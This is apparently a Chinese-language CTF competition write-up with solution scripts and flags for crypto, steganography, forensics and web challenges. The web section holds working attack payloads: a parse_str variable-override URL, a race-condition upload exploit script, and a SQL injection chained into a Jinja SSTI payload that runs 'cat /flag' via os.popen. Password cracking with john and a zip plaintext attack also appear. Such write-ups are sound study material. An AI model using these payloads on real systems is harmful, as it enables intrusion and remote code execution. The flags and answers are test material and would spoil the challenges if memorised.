Crypto-affine(6pts)

y = 17*x-8
flag{szzyfimhyzd}

仿射加密，指令碼

a = 'szzyfimhyzd'
a1=[]
for i in a:
    a2 = ord(i)-97
    a1.append(a2)
print a1
for i in a1:
    for j in range(0,26):
        c = (17*j-8)%26
        if(c==i):
            print chr(j+97),

flag{affineshift}

Misc-Crack it(8pts)

shadow檔案用john直接爆破

flag{hellokitty}

Misc-basic(10pts)

RGB畫圖，py指令碼

from PIL import Image
import re                         # 506*122=61366
x = 150 #x座標  通過對txt裡的行數進行整數分解
y = 900 #座標  x*y = 行數
im = Image.new("RGB",(x,y))#建立圖片
file = open('basic.txt') #開啟rbg值檔案
#通過一個個rgb點生成圖片
for i in range(0,x):
    for
 
 j in range(0,y):
        line = file.readline()#獲取一行
        rgb = line.split(",")#分離rgb
        im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb轉化為畫素
im.show()

得到flag圖片

flag{RGB_1s_e4sY}

Misc-進位制轉換(14pts)

d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e
 

有不同的進位制，直接指令碼轉換

flag{1e4bf81a6394de5abc005ac6e39a387b}

Stego-啊噠(8pts)

binwalk看到有zip
foremost分離得到加密zip
密碼再圖片詳情資訊裡
十六進位制轉字串得到解壓密碼

flag{[email protected]}

Stego-colors(21pts)

七張圖片再stegsolve檢視其他通道得到
MakeMeTall

修改圖片高度

把白色轉為0 黑色轉為1
得到七串二進位制
橫著解不出來 嘗試豎著解
指令碼

c1 = '11111111010111101111'
c2 = '11111011111110111111'
c3 = '00001100101010110001'
c4 = '01001010010000001101'
c5 = '11010011011101010111'
c6 = '10011011011010110110'
c7 = '00111001101101111101'

flag = ''

for i in range(0,20):
    c = c1[i]+c2[i]+c3[i]+c4[i]+c5[i]+c6[i]+c7[i]
    flag += chr(int(c,2))

print flag

flag{Png1n7erEs7iof}

Forensic-特殊後門(12pts)

搜尋flag字串，在icmp中得到提示flagishere，往下每一個包都有一個flag字元

flag{Icmp_backdoor_can_transfer-some_infomation}

Forensic-weblogic(12pts)

搜尋hostname

flag{6ad4c5a09043}

Forensic-日誌分析(12pts)

sql注入過程，上指令碼

flag{sqlm4p_15_p0werful}

Forensic-神祕的檔案(14pts)

zip明文攻擊，用winrar壓縮logo.png為zip檔案，然後用archpr明文攻擊

得到解壓密碼，解壓得到docx檔案，改字尾zip，得到flag.txt，base64得到

flag{d0cX_1s_ziP_file}

Web-babyWeb(15pts)

抓包加XFF頭，修改admin值為1

flag{4c39e6769fd4251d8b77d00546b76768}

Web-babyWeb2(35pts)

parse_str變數覆蓋

http://47.105.148.65:29002/?id=key[99]=QNKCDZO

得到隱藏介面

隨便寫個檔案，上傳得到檔案地址，訪問提示too slow！
想到條件競爭

條件競爭漏洞是一種伺服器端的漏洞，由於伺服器端在處理不同使用者的請求時是併發進行的，因此，如果併發處理不當或相關操作邏輯順序設計的不合理時，將會導致此類問題的發生。

具體可以看下這篇文章

重新隨便寫個檔案上傳，上傳時抓包
用burp的intruder開battering ram , payload null , generate 50
再利用指令碼getflag

import requests
url = 'http://47.105.148.65:29002/uploads/457b055ce2a489dd334216ed0564f9351506d690/coold.php'
while 1:
    r = requests.get(url)
    if 'flag' in  r.text:
        print r.text

開始intruder，py得到flag

flag{fa8d57d013fda75ad1e58e59b94b45c3}

Web-easy_flask(55pts)

在add介面測試

然後查詢

存在ssti

SSTI，又稱服務端模板注入攻擊。其發生在MVC框架中的view層。

服務端接收了使用者的輸入，將其作為 Web 應用模板內容的一部分，在進行目標編譯渲染的過程中，執行了使用者插入的惡意內容，因而可能導致了敏感資訊洩露、程式碼執行、GetShell 等問題

但是add中限制字元長度，最多提交十個字元，沒法正常使用ssti

測試search功能，username中存在sql注入

sdpcc ' union select 1,1,1 -- -

payload

sdpc' union select 1,2," {{''.__class__.__mro__[2].__subclasses__() [59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- - 

當函式被禁用時，就要通過一些類中的關係來引用被禁用的函式

一些常見的尋找特殊模組的方式

class:獲得當前物件的類
bases:列出其基類
mro :列出解析方法的呼叫順序，類似於bases
subclasses()：返回子類列表
dict ： 列出當前屬性/函式的字典 func_globals返回一個包含函式全域性變數的字典引用

flag

flag{c15f43da-481e-4131-84b2-e315719b989b}

復現真的太重要了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊